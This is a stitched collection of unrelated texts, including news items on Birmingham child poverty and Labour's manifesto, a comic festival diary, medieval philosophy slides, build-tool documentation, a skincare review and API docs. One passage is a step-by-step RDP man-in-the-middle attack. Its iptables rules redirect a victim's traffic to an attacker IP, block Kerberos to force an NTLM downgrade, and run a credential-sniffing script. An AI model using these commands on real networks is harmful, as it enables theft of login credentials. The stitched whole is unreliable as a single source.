val responseFuture = client(httpRequest)
//handle result
For more details about Finagle itself refer to official documentation:


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Defining the virtual constructors for your objects type is also a simple matter. Unlike the case of the serialisation routines, they can even be done inline in the class definition:
class foo: public object { ... virtual object *lnew() {return vnew(this);} virtual object *lcopy() {return vcopy(this);} };


The Birmingham neighbourhoods where kids are most affected by deprivation
The government has published official rankings of childhood poverty across the country
by James Rodger, Annie Gouk, https://www.facebook.com/jamesrodgerjournalistA neighbourhood in Birmingham has some of the highest levels of child poverty in England, new analysis has revealed.
The government has published official rankings of childhood poverty across the country.
The figures rank individual neighbourhoods - small areas with a population of around 1,500 people each - based on how many children aged 0 to 15 are living in income deprived families.
They include children in families on income support, jobseeker’s allowance, employment and support allowance, pension credit, certain types of universal credit, and some other benefits.
A neighbourhood in the Rubery area of Birmingham emerges as the 13th most deprived out of any of the 32,844 neighbourhoods in England.
An estimated 305 of the 473 children in the area are living in poverty.
The figures also show that Birmingham as a whole has significant levels of childhood poverty.
Neighbourhoods that fall into the top 10% of the country for child poverty can be defined as being particularly affected.
Some 31% of neighbourhoods in the city fall into this category.
The area with the next-highest levels of child poverty in Birmingham is a neighbourhood in Druids Heath, ranking in 23rd place nationally, affecting an estimated 225 children.
It’s followed by a neighbourhood in Short Heath in 31st place (280 children), and a neighbourhood near the Jewellery Quarter in 33rd place (55 children).
In total, there are estimated to be more than 36,600 children in Birmingham aged 0-15 who are in the top 10% of the country when it comes to income deprivation.
The figures come from the Index of Multiple Deprivation - the official measure of relative deprivation in England.
It is a broad definition of deprivation involving 29 separate indicators across seven categories.
As well as income deprivation - also known as poverty - it looks at employment, education, health, crime, barriers to housing and services, and living conditions.
Just because an area sees high levels of childhood poverty doesn’t mean it is necessarily deprived in other ways.
For example, the neighbourhood in Rubery that ranks at number 13 for child poverty comes in at 206th place for overall deprivation.


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Ick Ack Ülm. According to the programme, this racket must be an ensemble called “Brouhaha” playing a piece called Tiny moths, ah! gossamer wings. I suppose that's meant to be ironic in some way. Either that or it's a mistranslation—after all, they're Hungarians. And so many of them! I counted forty, but then more appeared with hammers and other ironmongery. And they all bear a faint resemblance to Abraham Lincoln. Maybe “Brouhaha” is one big family. I will have to check. This piece has been going on for over an hour and they look as if they're just warming up. God help us.
[Edit.]
Now that was more like it. I’ve just finished watching Fleur & Primrose, much more conducive to my tastes. Fleur played pocket cornet and Primrose played tack piano. Instrumentals, mostly, with a sort of valiant carelessness. I don't think any of the pieces lasted more than 45 seconds. The last number was strange. They were joined by someone called Dennis, who shouted things. I think he was reading from a list of water polo cup tie results. Matchless!
[Edit.]
I really don't know what I’m doing here.
[Edit.]
It's three hours since I last recorded. I’ve just come back on the bus from the Ülm Swimming Pool, Lido and Marina complex, where parts of the Festival are taking place. I went over there to hear the big event everyone has been talking about—the premiere of Binder's Concerto For Medicine Balls, Blood Oranges & Canoe. I assumed it was going to be an electronic piece, but no, it was all natural, unamplified sound, and somehow it had an astonishing Monteverdiesque resonance which is hard to explain. It was visually exciting too, as all the players were wearing hideous orange jump-suits. I’m sure I saw Primrose in the melée somewhere, without her tack piano sadly.
[Edit.]
Next up is something called “Big Flugelhorn Mayhem In The Northern Territories Disputed By Goat Boy And His Whelk Farm Hard Hat Orchestra”. I think I’ll give it a miss.
[Recording ends.]


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Hawa Kam Karo: Another Paragliding Video of Dharamshala Tourist go Viral
A new paragliding video of a man in Dharamshala goes viral as he freaks out in mid-air and groans with anxiety. Watch here.
Do you remember ‘land kara de’ video of Vipin Sahu? The man who became a social media sensation overnight after his reactions were recorded during paragliding ride. There is another video of a tourist in Dharamshala who went for the paragliding ride and got panicked. His reactions were recorded on the camera and can make you go crazy.
The 7.29-minute video of Pawan is all over social media and he is the best thing to see on the internet today. Pawan tried out paragliding for the first time. However, it is his reaction during the course of the ride that has caught the attention of many. Pawan can be seen requesting the instructor to complete the ride just a few seconds after they took off. At a particular time he asking the instructor’s years of experience and even asked to reduce the wind speed “Hawa kam karo na”.
 Pawan can be heard saying ‘Ye hawa kaha se aari hai’. Then he suggested the instructor play antakshari so that he can calm nerves.
The instructor manages to calm him down but he makes another hilarious request of Pawan suggesting to poke a hole in the paragliding aircraft to reduce the wind.
Pawan’s nervous expressions, weird questions, and continuous shouting have given netizens a good laugh.
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1. Create an iptables rule that rejects SYN packets from victim intended for an RDP server. If we don't reject, victim would establish a connection with the genuine host and not us
# iptables -A FORWARD -p tcp -s "$VICTIM_IP" --syn --dport 3389 -j REJECT
2. Wait for TCP SYN with dest 3389 to learn address of original host
# tcpdump -n -c 1 -i "$IFACE" src host "$VICTIM_IP" and "tcp[tcpflags] & tcp-syn != 0" and dst port 3389 2>/dev/null | sed -e 's/.*> \([0-9.]*\)\.3389:.*/\1/'
3. Retrieve SSL certificate of RDP server and create new self-signed cert with same common name.
4. Now, remove iptables rule and redirect ALL TCP traffic coming from victim destined to the RDP host to our IP address:
# iptables -F
# iptables -t nat -A PREROUTING -p tcp -d "$ORIGINAL_DEST" -s "$VICTIM_IP" --dport 3389 -j DNAT --to-destination "$ATTACKER_IP"
5. Force downgrade from Kerberos to NTLM by blocking Kerberos traffic
# iptables -A INPUT -p tcp -s "$VICTIM_IP" --dport 88 -j REJECT --reject-with tcp-reset
6. Run the script
# rdp-cred-sniffer.py -c "$CERTPATH" -k "$KEYPATH" "$ORIGINAL_DEST"


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through the 'four ways' of Francis de Mayronnes"
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An introduction to God's omnipresence
through the "four ways" of Francis de Mayronnes
Jeffrey C. Witt (Loyola University Maryland) https://jeffreycwitt.com |<EMAIL_ADDRESS>@jeffreycwitt
# The Four Ways
* Via immensitatis
* Via causalitatis
* Via immutabilitatis
* Via coexistentiae
# Via Immensitatis
"For some say that, just as God is intensively infinite, so he is extensively infinite, not that he has part outside part, but that he is able to coexist in infinite places."
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Francis of Meyronnes, Commentarius in libros Sententiarum, Liber 1, Distinctio 37, Quaestio 1, Paragraph FrMS88-e84800-d1e287@52-74
(http://scta.info/resource/FrMS88-e84800-d1e287/cod-FdM888/transcription@52-74)
"Alexander of Hales, St. Albert the Great, Odo Rigald, and St. Bonaventure are allied in teaching that God is omnipresent **not only** because of His operation in all things but also because of his infinite perfection, which reasons, however, they never intended to be mutually exclusive."
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Fuerst, *An Historical Study*, p. 204.
"It is able to be said that though God has infinite intensity, nevertheless he does not have extensive infinitude or infinite magnitude, which are imagined by the preceding arguments, therefore they do not conclude."
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Francis of Meyronnes, Commentarius in libros Sententiarum, Liber 1, Distinctio 37, Quaestio 1, Paragraph FrMS88-e84800-d1e341@76-99
(http://scta.info/resource/FrMS88-e84800-d1e341/cod-FdM888/transcription@76-99)
# Via causalitatis
"the second way for some people is the way of causality. For it is necessary for the agent to be present and near to the patient, but God acts everywhere, therefore etc."
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Francis of Meyronnes, Commentarius in libros Sententiarum, Liber 1, Distinctio 37, Quaestio 1, Paragraph FrMS88-e84800-d1e365@1-20
(http://scta.info/resource/FrMS88-e84800-d1e365/cod-FdM888/transcription@1-20)
"since the mover is in the moved it is manifest that the mover and moved will be in it [the moved object] at the same time"
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Thomas Aquinas, Scriptum, Liber I, Liber I, Distinctio 37, Quaestio 1, Articulus 1, ta-l1d37q1-d1e171
(http://scta.info/resource/ta-l1d37q1-Qd1e171/critical/transcription)
"But this *ratio* does not demonstrate, because while perhaps this is believed, namely that God acts immediately in the action of a natural agent, to some this does not seem to be true"
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Francis of Meyronnes, Commentarius in libros Sententiarum, Liber 1, Distinctio 37, Quaestio 1, Paragraph FrMS88-e84800-d1e372@1-23
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"it is not necessary that any agent be locally present to the patient"
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Francis of Meyronnes, Commentarius in libros Sententiarum, Liber 1, Distinctio 37, Quaestio 1, Paragraph FrMS88-e84800-d1e379@3-9
(http://scta.info/resource/FrMS88-e84800-d1e379/cod-FdM888/transcription@3-9)
# Via immutabilitatis
"'where' (*ubi*) indicates a relation of something placed ("locatus" or "located") to a place (locus), and this is a relation that God does not have."
On the other hand, he also says that:
"'place' (*locus* or 'location') has a relation of "presence" (*praesentialitas*) to what 'is placed' (*locatus* or 'placed')"
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Francis of Meyronnes, Commentarius in libros Sententiarum, Liber 1, Distinctio 37, Quaestio 1, Paragraph FrMS88-e84800-d1e495@35-53
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"therefore God would be said to be transferred from place to place through a new relation of presence in this place in which God previously was not, and from this God would be said to be in something in which he previously was not, just as it said above about a new creation which is in the creature, and without anything new in God"
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Francis of Meyronnes, Commentarius in libros Sententiarum, Liber 1, Distinctio 37, Quaestio 1, Paragraph FrMS88-e84800-d1e495@54-104
(http://scta.info/resource/FrMS88-e84800-d1e495/cod-FdM888/transcription@54-104)
# Via Coexistentiae
"if God created a star, but destroyed the heavens, he would still be able to move it circularly. But he wouldn't be able to do this unless it had some relation to something. But since he has destroyed the heavens, it must retain some relation to God himself (ipsum)."
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Francis of Meyronnes, Commentarius in libros Sententiarum, Liber 1, Distinctio 37, Quaestio 1, Paragraph FrMS88-e84800-d1e595
(http://scta.info/resource/FrMS88-e84800-d1e595/cod-FdM888/transcription)
"If God were to destroy the entire universe, with the exception of the "poles", then he would be able to join these poles together which would require perpendicular motion. But this perpendicular motion would not be possible without a relation of presence to a first [unmoving thing]."
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Francis of Meyronnes, Commentarius in libros Sententiarum, Liber 1, Distinctio 37, Quaestio 1, Paragraph FrMS88-e84800-d1e608
(http://scta.info/resource/FrMS88-e84800-d1e608/cod-FdM888/transcription)
"God is able to move everything at the same time. But everything has to move in relation to something else, and in this case, they cannot be related to each other [since everything else is already moving]. Therefore, they must be moved in relation to God"
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Francis of Meyronnes, Commentarius in libros Sententiarum, Liber 1, Distinctio 37, Quaestio 1, Paragraph FrMS88-e84800-d1e619
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"all things which are moved have a relation to something immobile. But this can only be God"
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Francis of Meyronnes, Commentarius in libros Sententiarum, Liber 1, Distinctio 37, Quaestio 1, Paragraph FrMS88-e84800-d1e629
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# Conclusion


Access Bank gets a new Chairman as Mosun Belo-Olusoga steps down
by Emmanuel Abara BensonAccess Bank Plc announced earlier today that it has appointed Mrs Ajoritsedere Awosika as the new Chairman of its board. She will replace Mrs Mosun Belo-Olusoga who is set to retire in early 2020. Olusoga has served as the company’s Chairman for four years since her appointment in July 2015.
A statement signed by Access Bank’s Company Secretary (Sunday Ekwuchi) and issued to the Nigerian Stock Exchange, thanked Mrs Belo-Olusoga for her many contributions towards the company’s growth.
The statement also noted that there are no issues between Access Bank and the outgoing Chairman. She has simply completed the 12-year term limit permitted by the CBN’s Code of Corporate Governance for banks and discount houses.
“Mrs Belo has confirmed that she has no disagreement with the board and there are no issues relating to her retirement that need to be brought to the attention of the shareholders of the company or the regulatory authorities.”
Profile of the incoming Chairman: Aritsedere Awosika has been an Independent Non-Executive Director at Access Bank Plc since April of 2013. Since joining the company’s board, she has served on several committees, including her role as the Vice Chairman of the Board Credit and Finance Committee.
Before joining the bank, she was an accomplished public administrator who served as a Permanent Secretary in three different ministries including:
- Federal Ministry of Internal Affairs
- Federal Ministry of Science & Technology and Power
She currently serves as the Chairman of the board of Chams Plc as well as Josephine Consulting Limited. She also sits on the board of Capital Express Assurance Limited as a Non-Executive Director.
Mrs Awosika holds a doctorate degree in Pharmaceutical Technology from the University of Bradford. She is a Fellow of the Pharmaceutical Society of Nigeria as well as Fellow of the West African Postgraduate College of Pharmacy.


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Features of mkmf include:
mkmf is pronounced make-make-file or make-m-f or even McMuff (Paul Kushner's suggestion).
The calling syntax is:
mkmf [-a abspath] [-c cppdefs] [-d] [-f] [-m makefile] [-p program] [-t template] [-v] [-w] [-x] [args]
A sourcefile is any file with a source file suffix (currently .F, .F90, .c, .f. .f90). An includefile is any file with an include file suffix (currently .H, .fh, .h, .inc). A valid sourcefile can also be an includefile.
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The makefile currently runs $(FC) on fortran files and $(CC) on C files (unless the -w flag is specified). Flags to the compiler can be set in $(FFLAGS) or $(CFLAGS). The final loader step executes $(LD). Flags to the loader can be set in $(LDFLAGS). Preprocessor flags are used by .F, .F90 and .c files, and can be set in $(CPPFLAGS). These macros have a default meaning on most systems, and can be modified in the template file. The predefined macros can be discovered by running make -p.
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Include files are often specified without an explicit path, e.g
#include "config.h"
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This follows the behaviour of most f90 compilers: includefiles inherit the path to the source, or else follow the order of include directories specified from left to right on the f90 command line, with the -I flags descending in precedence from left to right.
If you have includefiles in a directory dir other than
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-Idir in $(FFLAGS) in your template
file. Includepaths in the template file take precedence over those
generated by mkmf. (I suggest using
FFLAGS for this rather than CPPFLAGS
because fortran includes can occur even in source
requiring no preprocessing).
FC = f90 LD = f90 CPPFLAGS = -macro_expand FFLAGS = -d8 -64 -i4 -r8 -mips4 -O3 LDFLAGS = -64 -mips4 $(LIBS) LIST = -listingThe meaning of the various flags may be divined by reading the manual. A line defining the make macro LIBS, e.g:
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Sample template files for different OSs and compilers are available in the directory /net/vb/public/bin.
updates/a.f90 updates/b.f90
The directory /home/src/base contains the files:
a.f90 b.f90 c.f90
Typing
mkmf path_names /home/src/baseproduces the following Makefile:
# Makefile created by mkmf $Id$ .DEFAULT: -touch $@ all: a.out c.o: /home/src/base/c.f90 $(FC) $(FFLAGS) -c /home/src/base/c.f90 a.o: updates/a.f90 $(FC) $(FFLAGS) -c updates/a.f90 b.o: updates/b.f90 $(FC) $(FFLAGS) -c updates/b.f90 ./c.f90: /home/src/base/c.f90 cp /home/src/base/c.f90 . ./a.f90: updates/a.f90 cp updates/a.f90 . ./b.f90: updates/b.f90 cp updates/b.f90 . SRC = /home/src/base/c.f90 updates/a.f90 updates/b.f90 OBJ = c.o a.o b.o OFF = /home/src/base/c.f90 updates/a.f90 updates/b.f90 clean: neat -rm -f .cppdefs $(OBJ) a.out neat: -rm -f $(TMPFILES) localize: $(OFF) cp $(OFF) . TAGS: $(SRC) etags $(SRC) tags: $(SRC) ctags $(SRC) a.out: $(OBJ) $(LD) $(OBJ) -o a.out $(LDFLAGS)
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# Makefile created by mkmf $Id$ .DEFAULT: -touch $@ all: a.out c.o: c.f90 $(FC) $(FFLAGS) -c c.f90 a.o: updates/a.f90 $(FC) $(FFLAGS) -c updates/a.f90 b.o: updates/b.f90 $(FC) $(FFLAGS) -c updates/b.f90 ./a.f90: updates/a.f90 cp updates/a.f90 . ./b.f90: updates/b.f90 cp updates/b.f90 . SRC = c.f90 updates/a.f90 updates/b.f90 OBJ = c.o a.o b.o OFF = updates/a.f90 updates/b.f90 clean: neat -rm -f .cppdefs $(OBJ) a.out neat: -rm -f $(TMPFILES) localize: $(OFF) cp $(OFF) . TAGS: $(SRC) etags $(SRC) tags: $(SRC) ctags $(SRC) a.out: $(OBJ) $(LD) $(OBJ) -o a.out $(LDFLAGS)
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mkmf -c "-Dcppflag -Dcppflag2=2 -Dflag3=string ..."
will set CPPDEFS to this value, and also save this state in the file .cppdefs. If the argument to -c is changed in a subsequent call:
mkmf -c "-Dcppflag -Dcppflag2=3 -Dflag3=string ..."mkmf will scan the source list for sourcefiles that make references to cppflag2, and the corresponding object files will be removed.
use &
this_module
it would confuse mkmf. Similarly, a fortran include statement must not be split across lines.
use module1; use module2
is to be avoided.
#ifdef obsolete #include "nonexistent.h" #endif
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Strictly stars confirmed for show's live UK arena tour
Catherine Tyldesley, Alex Scott and Emma Barton have been confirmed for the Strictly Come Dancing arena tour.
Karim Zeroual, Kelvin Fletcher, Mike Bushell and Saffron Barker are also in the line-up for the show, while reigning Strictly champion Stacey Dooley will be the tour’s host.
The show hits the road in January, with stops including Birmingham, Leeds, Aberdeen, Manchester and Belfast.
It wraps up at London’s O2 Arena in February.
Actress Tyldesley – who was eliminated earlier in the BBC One series – said she was “so delighted” to be continuing her Strictly journey.
“I have absolutely fallen in love with dancing, so I can’t wait to get back on that dance floor and perform for the Strictly fans once more. Roll on January!” she said.
Scott said she was hoping to perform some of her favourite routines from the competition again.
“Strictly has been a once-in-a-lifetime opportunity and I’m thrilled that I’ll get to dance for everyone who has voted for me on the TV series,” she said.
Bushell said he was “thrilled to be asked”.
He added: “I’ve loved my journey on the TV show and have lost a stone and a half in weight – that shows how good dancing is for you.
“I think I’ve shown that even a non-dancing dad in his 50s can learn some moves and hopefully I can inspire people in venues across the country too.”
Barker added: “It’s been incredible, so what better way to see in the New Year than in a glittery costume, on tour, dancing for all the fans. Bring it on!”
Judges Shirley Ballas, Craig Revel Horwood and Bruno Tonioli will also be on the tour, which opens at the Arena Birmingham on January 16.
After Birmingham it moves to Aberdeen’s P&J Live Arena, Leeds’ First Direct Arena, the Manchester Arena, Dublin’s 3Arena, The SSE Arena in Belfast, The SSE Hydro in Glasgow, Nottingham’s Motorpoint Arena and culminates the O2 Arena in London.
Tickets are on sale now.
For more information visit www.strictlycomedancinglive.com.


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The 11 big issues in Jeremy Corbyn's Labour Party manifesto
The Labour party will increase pay for public sectors workers and will tax oil and gas giants to tackle climate change
by Bristol PostJeremy Corbyn launched the Labour party's manifesto in Birmingham today (November 21), in which the leader made big promises on climate change, nationalisation and pay.
The leader insisted that the programme, called 'It's time for real change" was fully costed and would not result in tax increases for 95 per cent of the population.
Here are some of the most eye-catching proposals in the manifesto.
1. Environment
Labour will introduce a windfall tax on oil companies, which it says will go towards covering the costs of climate change.
It will also create a National Transformation Fund of £400 billion to meet environmental targets. £250 billion of this will go towards transitioning to a green economy through renewable and low-carbon energy and transport, biodiversity and environmental restoration.
The fund will provide an expected £11 billion support package for nearly 37,000 oil and gas workers, the 126,000 people in jobs dependent on the sector and their communities to make the transition to a clean economy, Labour says.
A National Investment Bank will provide £250 billion of lending for enterprise, infrastructure and innovation over 10 years.
2. Workers' rights
Labour has unveiled a package of measures in its manifesto designed to bolster workers rights, including the "rapid" introduction of the real living wage, which would be set at £10 an hour for workers aged 16 and over.
The party would also cut the working week to 32 hours, or four days per week, within the decade, with no loss of pay. Four new bank holidays would be introduced and controversial zero-hours contracts would be banned.
These measures would be overseen by a Ministry of Employment Rights, with the relevant minister able to attend top meetings at Cabinet.
In a swipe at the gig economy, workers will be given full employment rights on the first day of their job and acquire the stats of "worker" to end what Labour calls "bogus" self-employment, a reference to recent claims by the likes of Uber and Deliveroo that it's workers are self-employed and therefore not entitled to features such as holiday and sick pay.
Labour also says it would repeal "anti-trade union" legislation under the Tories and roll out collective bargaining across the country. This would allow there to be legal minimum standards on pay and hours, Labour says.
3. Pay rise for workers
The party will increase pay for public sector workers by five per cent.
"Our most valuable assets are the dedicated people who work in our public services, but under this government their pay has been cut in real terms," the manifesto read. "Labour will restore public sector pay to at least pre-financial crisis levels (in real terms), by delivering year-on-year above-inflation pay rises, starting with a five per increase, to reward and retain the people who do so much for us all."
The breakdown for pay rises is as follows:
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Newly qualified nurses: more than £1,200
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Firefighters: more than £1,800 on average
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Teachers in state-funded schools: almost £2,000 on average
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Junior doctors: almost £1,400
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Police constables: almost £2,000
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Army sergeants: more than £1,700
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Civil servants: more than £1,300 on average
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Council workers: more than £1,200 on average
4. Health and social care
More money will be pumped into the NHS under Labour, according to its manifesto.
The budget for the health service will rise by 4.3 per cent on average per year, which according to the Institute for Fiscal Studies, would amount to an additional £3.2 billion in real terms over four years (£3.5 billion in cash terms), reaching £143.5 billion in 2023/24.
The party says it will reverse privatisation in the health service.
On social care, there will be a "lifetime cap" on the amount people have to pay for social care, while free personal care for those aged over 65 will be provided, with the ambition to extend this provision to all "working-age adults" who need it.
Carers will see an increase in their allowance while those being cared should experience longer visits from staff, as Labour end 15-minute visits.
Labour would also introduce free annual dental check-ups and free prescriptions across England. Car park charges for patients, staff and visitors will be scrapped
5. Housing
Labour has promised to tackle the housing crisis by building 100,000 council homes a year by the end of its first parliament. A further 50,000 that Labour describes as "genuinely affordable" would be built each year through housing associations.
Councils would be given powers and funding to buy back homes from private landlords, and Right to Buy, which allows council tenants to buy their homes at a discount, would go.
Labour has also proposed to introduce rent caps to control "runaway rents". Rent would be capped in line with inflation and cities would be handed powers to cap them further if they thought necessary.
Renters' rights would be bolstered thought a new union.
And homelessness would be tackled through a tax on second homes used as holiday homes.
New "renters' unions" will be created for tenants to defend their rights under a Labour government as the party cracks down on rogue landlords, who would receive "tougher sanctions" for breaking rules.
6. Education and childcare
Labour would scrap tuition fees, currently set at £9,000 per year, but it would not write off all existing student debt. It would also bring back maintenance grants.
Schools in England would see a spending boost of £10.5 billion by 2022/23, which the Institute for Fiscal Studies said translates into a 15 per cent real terms increase per pupil over the next three years.
The party has also imposed a class size of 30 in schools and teachers will be funded for "non contact" time for preparing and planning lessons.
Labour has also pledged in its manifesto to cut tax breaks for private schools.
"We will close the tax loopholes enjoyed by elite private schools and use that money to improve the lives of all children, and we will ask the Social Justice Commission to advise on integrating private schools and creating a comprehensive education system," it said, leaving the door open to a ban on private schools all together.
7. Crime
The manifesto says Labour would hire 2,000 more frontline police officers that the Tories, while the number of prison officers would be restored to 2010 levels. Private sector contracts to run jails would be brought to an end.
The party has also vowed to reverse cuts to legal aid and the courts, as well as bring in "hundreds of community lawyers".
Neighbourhood policing would be brought back and a Royal Commission would be convened on substance abuse to focus on harm reduction.
Legal aid and court cuts would be reversed and "hundreds of community lawyers" would be recruited under Labour, the document adds.
Labour is sceptical against short prison sentences.
"We will set new standards for community sentences and introduce a presumption against prison sentences of six months or less for non-violent and non-sexual offences," it said in the manifesto.
8. Welfare
Universal Credit, the scheme that was brought in by the Tories to try to simplify the benefits system, would be scrapped and Labour would create its own system.
The two-child limit for benefits and the welfare cap would also be scrapped.
Labour said it would also introduce a "right to food" to end "food bank Britain", pledging to halve their usage within a year and remove the need for them altogether in three years.
The party said it would stop "dehumanising" work capability and personal independence payment assessments for those with a disability and the retirement age would not be raised beyond 66.
9. Nationalisation
Labour will extend the remit of the state hugely if it wins power.
Rail, mail, water and energy would be brought back into public ownership while the party would also deliver full-fibre broadband to everyone in the country.
10. Brexit
Labour says it will get Brexit sorted in six months by giving people the final say in a second referendum, with a choice between a "sensible leave deal or remain". It will implement the result of the decision, which will be legally binding.
The party is ambiguous on free movement. If the UK remains in the EU, freedom of movement would continue. If it leaves, it will be "subject to negotiations", the manifesto reads. Labour goes on to say that it recognises the "social and economic benefits that free movement has brought both in terms of EU citizens here and UK citizens abroad – and we will seek to protect those rights"
11. Tax
The manifesto outlines plans to review business rates, which could result in an extra tax on property landlords to protect UK high streets.
Labour will introduce a windfall tax on oil companies, which it says will go towards covering the costs of climate change.
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The bit assembly is analogous to the Digi-Comp I's flip-flop. There is one bit assembly for each bit of state.
In the knex (tm) model, each bit is implemented by an assembly of gray struts and yellow (arity 5) connectors. The assembly is hung from an inverted pendulum formed from a pair of arms constructed from two gray (arity 1) connectors coupled together by a green strut. The inverted pendulum ensures that the bit assembly will rest in either of the two extreme positions of its motion and is not stable anywhere in between. This provides hysteresis, which is necessary in all digital logic systems.
Each of the pictures above shows one inverted pendulum (viewed from above) of a bit asembly. The yellow strut is the part of the bitframe on which the pendulum is anchored.
The yellow (arity 5) connectors which are parallel to the yellow mounting strut, in addition to holding gray struts of the bit assembly together, also serve to stop the inverted pendulum from swinging too far to either side. That is why they are slid up against the inverted pendulum assembly instead of being anywhere along the bit assembly.
The programming hardware is mounted on the bit assembly. Each bit assembly has one set of programming hardware for each control stage.
The bit state indicator is attatched at one end of the bit assembly, in such a way that they are obstructed by the bit state mask


Review. Primera Miracle Seed Essence
The reason why I wanted so badly to start with this product is becasue I haven't seen many reviews of it, and I don't understand why!
The first interesting thing, is the brand. Under the arm of the almighty Amore Pacific, Primera is an eco-oriented cosmetic brand.
Therefore, they use mostly FSC-certified paper for its packaging and prints in natural soy ink. In addition, the product information and instruction manuals are printed on the paperboard box to reduce any unnecessary waste of resources.
In general, Primera manufactures products that do not include paraben, synthetic pigments, artificial fragrances; primera uses a minimal amount of artificial chemical ingredients.

Now, the product. I was in a desperate search of something that will hydrate my skin without breaking it out, while treating my acne scars and my redness.
At first I thought it was imposible to find that in one and only product.
But then I came acrossthis Liah Yoo video. So I decided to investigate a little.
The first thing I was impresed with was the short list of ingredients:
Nelumbo Nucifera Germ Extract (Lotus Seed Extract), Niacinamide(Vitamin B3), Glycereth-26, Glycerin, Ethylhexylglycerin, Disodium Edta, Adenosine,
Sodium Hyaluronate, Saccharomyces Ferment, Methyl Gluceth-20, Citric Acid, Xanthan Gum, Sodium Citrate, 1,2-hexanediol.
Not very long, everything looked pretty safe.
The first thing that surprised me was how watery it is. Coming from COSRX Advanced Snail 96 Mucin Power Essence (that I love, too),
it didn't look appropiate, like, I needed something more concentrated, more sticky (I am of these "wierd" people who love a sticky texture,
like love the one in COSRX Essence).
Then, it doesn't have any particullar scent. Normally, a strong smell means allergies and reactions to me, so that box was ticked.
You feel an instant hydration when you apply it, so so supple and gentle. Now, theres a couple ways
to apply it. The first one, putting some drops in your hand and tapping directly in your face. The second one (my favourite
and most wastefull) is to soak some cotton pads an putting them into your skin for a couple of minutes. With this second method you will feel
even more hydration. I normally do it this last way when my skin is dull and unconfortable (like when I haven't sleep enough
or when I have my PMS).
Once you aplly it, you feel an instant hydration. You skin is plump and somehow, calm. NOW, don't take me wrong,
is not magical. It does help with hydration and with the next steps of your routine. But you do still need those other
steps that will tackle other problems (or not, if you were lucky enough to born with perfect skin). But what I like
the most is that, apart from the moisturizing effect, you don't feel nothing else.  feeling.
The down side? The price. Around $34 for a 125ml bottle. 😫
Now, latlely I have seen that you have aviable of 15ml and 50ml for a good price. So, if you want to try them
before compromising to the full size, it is the best option.
Summary
Will I buy it again? Yes, it is not my first bottle.
Will I recommend to a friend? Yes.
Best thing: The feeling when you apply it.
Worst thing: The price.
Score: 4/5.
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Hoard Overlay Unity
Boilerplate for account management
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Step by step procedure to user profile to the other user machine More...
Public Member Functions | |
| override void | ProvideInput (string input) |
| Provide the input pin values More... | |
| ImportProcedure () | |
| override void | Proceed () |
| Take another action in the procedure More... | |
| override void | Connect () |
| Public Member Functions inherited from Hoard.MVC.Procedure | |
| void | NotifyChange ([CallerMemberName]string name=default) |
| async Task | Shutdown () |
| void | ElapsedEventHandler (object sender, ElapsedEventArgs e) |
| Countdown towared the reset. Callback to the timeout Timer More... | |
Public Attributes | |
| string | confirmationPIN |
| CredentialInputValidator | ImportPIN |
| Pin field for the value privided by export porcedure More... | |
Properties | |
| string | ConfirmationPIN [get] |
| The confirmation pin generated so you can verify that users machines are indeed connected securely More... | |
| Properties inherited from Hoard.MVC.Procedure | |
| bool | WaitingForUserProceed [get, protected set] |
| Is porcedure waiting for user to move forward More... | |
| TransferState | State [get, protected set] |
| Current transfer state of the procedure More... | |
| float | TimeOutCount [get, protected set] |
Additional Inherited Members | |
| Public Types inherited from Hoard.MVC.Procedure | |
| enum | TransferState { TransferState.Error, TransferState.Timeout, TransferState.Ready, TransferState.InputPIN, TransferState.CheckPin, TransferState.ConfirmOtherPIN, TransferState.SendRecieve, TransferState.Done } |
| Describes current state of Profile Synchronisation More... | |
| Static Public Attributes inherited from Hoard.MVC.Procedure | |
| static readonly string | SectionName_Profile = "profile" |
| static readonly string | SectionName_Accounts = "accounts" |
| static readonly string | SectionName_CustomData = "customdata" |
| const float | TimeOutMax = 90f |
| Time before procedure will shutdown and reset. More... | |
| Protected Member Functions inherited from Hoard.MVC.Procedure | |
| void | StartTimer () |
| Begin countdown More... | |
| void | Reset (TransferState followState) |
| void | PingAndConnect () |
| void | StopTimer () |
| Protected Attributes inherited from Hoard.MVC.Procedure | |
| string | WhisperAddress = "ws://ws.eth-rpc.hoard.exchange" |
| AccountSynchronizer | sync |
| System.Threading.CancellationTokenSource | cancelToken |
| Events inherited from Hoard.MVC.Procedure | |
| PropertyChangedEventHandler | PropertyChanged |
Step by step procedure to user profile to the other user machine
| Hoard.MVC.ImportProcedure.ImportProcedure | ( | ) |
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virtual |
Implements Hoard.MVC.Procedure.
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Take another action in the procedure
Implements Hoard.MVC.Procedure.
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Provide the input pin values
Implements Hoard.MVC.Procedure.
| string Hoard.MVC.ImportProcedure.confirmationPIN |
| CredentialInputValidator Hoard.MVC.ImportProcedure.ImportPIN |
Pin field for the value privided by export porcedure
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get |
The confirmation pin generated so you can verify that users machines are indeed connected securely